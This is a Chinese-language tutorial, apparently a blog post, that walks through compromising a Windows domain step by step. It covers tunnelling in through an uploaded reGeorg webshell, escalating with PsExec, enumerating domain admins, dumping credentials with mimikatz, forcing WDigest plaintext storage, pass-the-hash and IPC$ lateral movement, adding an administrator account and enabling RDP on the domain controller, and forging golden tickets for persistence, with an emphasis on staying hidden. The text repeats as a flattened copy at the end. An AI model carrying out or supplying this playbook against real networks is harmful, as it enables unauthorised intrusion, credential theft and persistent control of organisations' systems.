内网渗透初探(一) | 小白简单学习内网渗透
字数 1202 2025-08-03 16:50:02

内网渗透基础教程

0x01 基础知识

内网渗透是指对目标服务器所在内网进行渗透并最终获取域控权限的过程。关键概念:

  • 域环境:内网中可能存在数百上千台机器,管理员通过域控制器统一管理
  • 域控制器(DC):域环境的核心主机,管理员通过它操作其他主机
  • 最终目标:获取域控权限,因为域控的管理员账号可以登录任意域内主机

前提条件:需要先获取一个Webshell(即使是低权限的,可通过提权获取高权限)

0x02 内网穿透

当目标服务器处于内网时,3389等端口可能无法直接连接,解决方法:

方法1:目标机器连接外网主机

  • 需要公网服务器
  • 内网主机需能访问互联网

方法2:在目标机器设置信号站(推荐)

使用工具:regeorg

具体流程:

  1. 上传tunnel.nosocket.php到目标站点
  2. 本地运行代理脚本:
    python reGeorgSocksProxy.py -l 127.0.0.1 -p 3344 -u http://目标IP/tunnel.nosocket.php
    
  3. 使用proxifier等工具设置流量通过3344端口
  4. 成功穿透后可进行远程桌面连接

其他穿透工具:Frp、Ew、nps等

0x03 内网信息收集

1. 提权获取SYSTEM权限

使用PsExec:

PsExec.exe -s -i -d cmd

2. 获取域用户信息

net user /domain

3. 获取域用户组信息

net group /domain

4. 获取域管理员列表

net group "domain admins" /domain

5. 获取域服务器IP

ping 域名
或查看DNS服务器IP

6. 使用Nmap扫描内网

上传Nmap安装包进行扫描

7. 主机存活探测

替代方案:使用nbtscan工具(基于NetBios,隐蔽性更好)

0x04 Hash读取

使用神器mimikatz:

  1. 管理员权限运行mimikatz
  2. 提升权限:
    privilege::debug
    
  3. 读取内存中的密码:
    sekurlsa::logonpasswords
    

注意:如果打了KB2871997补丁并关闭Wdigest Auth,可能只能获取Hash而非明文

0x05 Hash传递(PTH)

Wdigest配置

查看/修改注册表:

reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f  # 开启
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f  # 关闭

IPC$使用

条件:

  • 开放139/445端口
  • 开启IPC$共享
  • 有账号密码

常用命令:

net use \\目标IP\ipc$ 密码 /user:域\账dir \\目标IP\c$
copy 本地文件 \\目标IP\c$\目标文件
net use * /del  # 删除连接

IPC$命令执行

  1. 通过at计划任务:
    at \\目标IP 时间 cmd /c "命令"
    
  2. 多层代理执行:
    at \\第一跳IP 时间 cmd /c "net use \\第二跳IP\ipc$ 密码 /user:账号"
    

Hash传递实战

  1. 获取域管理员NTLM Hash
  2. 使用mimikatz传递:
    sekurlsa::pth /user:administrator /domain:域名 /ntlm:Hash值
    
  3. 在新弹出的cmd中访问域控资源
  4. 使用PsExec获取域控cmd
  5. 在域控创建新用户并加入管理员组
  6. 开启远程桌面服务:
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f
    
  7. 使用新建用户远程登录

0x06 黄金票据

KDC密钥分发中心

  • AS认证服务:提供初始授权,返回TGT
  • TGS票据授予服务:验证TGT后返回Ticket
  • krbtgt账户:KDC使用的超管账户

黄金票据制作

  1. 获取krbtgt的Hash:

    lsadump::dcsync /user:krbtgt
    

    需要:域SID(去掉末尾-502)和krbtgt的NTLM Hash

  2. 本地制作黄金票据:

    kerberos::golden /admin:administrator /domain:域名 /sid:SID /krbtgt:Hash /ticket:文件名.kiribi
    
  3. 使用票据:

    kerberos::purge  # 清空缓存
    kerberos::ptt 票据文件  # 加载票据
    
  4. 无需密码访问域控资源

0x07 总结

完整内网渗透流程:

  1. 获取Webshell
  2. 提权获取高权限
  3. 内网穿透
  4. 信息收集(域结构、用户、组等)
  5. Hash读取与传递
  6. 获取域控权限
  7. 制作黄金票据进行权限维持

关键点:

  • 理解域环境结构
  • 掌握mimikatz等工具使用
  • 熟悉各种认证协议和绕过方法
  • 注意操作隐蔽性
内网渗透基础教程 0x01 基础知识 内网渗透是指对目标服务器所在内网进行渗透并最终获取域控权限的过程。关键概念: 域环境 :内网中可能存在数百上千台机器,管理员通过域控制器统一管理 域控制器(DC) :域环境的核心主机,管理员通过它操作其他主机 最终目标 :获取域控权限,因为域控的管理员账号可以登录任意域内主机 前提条件:需要先获取一个Webshell(即使是低权限的,可通过提权获取高权限) 0x02 内网穿透 当目标服务器处于内网时,3389等端口可能无法直接连接,解决方法: 方法1:目标机器连接外网主机 需要公网服务器 内网主机需能访问互联网 方法2:在目标机器设置信号站(推荐) 使用工具:regeorg 具体流程: 上传tunnel.nosocket.php到目标站点 本地运行代理脚本: 使用proxifier等工具设置流量通过3344端口 成功穿透后可进行远程桌面连接 其他穿透工具:Frp、Ew、nps等 0x03 内网信息收集 1. 提权获取SYSTEM权限 使用PsExec: 2. 获取域用户信息 3. 获取域用户组信息 4. 获取域管理员列表 5. 获取域服务器IP 6. 使用Nmap扫描内网 上传Nmap安装包进行扫描 7. 主机存活探测 替代方案:使用nbtscan工具(基于NetBios,隐蔽性更好) 0x04 Hash读取 使用神器mimikatz: 管理员权限运行mimikatz 提升权限: 读取内存中的密码: 注意:如果打了KB2871997补丁并关闭Wdigest Auth,可能只能获取Hash而非明文 0x05 Hash传递(PTH) Wdigest配置 查看/修改注册表: IPC$使用 条件: 开放139/445端口 开启IPC$共享 有账号密码 常用命令: IPC$命令执行 通过at计划任务: 多层代理执行: Hash传递实战 获取域管理员NTLM Hash 使用mimikatz传递: 在新弹出的cmd中访问域控资源 使用PsExec获取域控cmd 在域控创建新用户并加入管理员组 开启远程桌面服务: 使用新建用户远程登录 0x06 黄金票据 KDC密钥分发中心 AS认证服务:提供初始授权,返回TGT TGS票据授予服务:验证TGT后返回Ticket krbtgt账户:KDC使用的超管账户 黄金票据制作 获取krbtgt的Hash: 需要:域SID(去掉末尾-502)和krbtgt的NTLM Hash 本地制作黄金票据: 使用票据: 无需密码访问域控资源 0x07 总结 完整内网渗透流程: 获取Webshell 提权获取高权限 内网穿透 信息收集(域结构、用户、组等) Hash读取与传递 获取域控权限 制作黄金票据进行权限维持 关键点: 理解域环境结构 掌握mimikatz等工具使用 熟悉各种认证协议和绕过方法 注意操作隐蔽性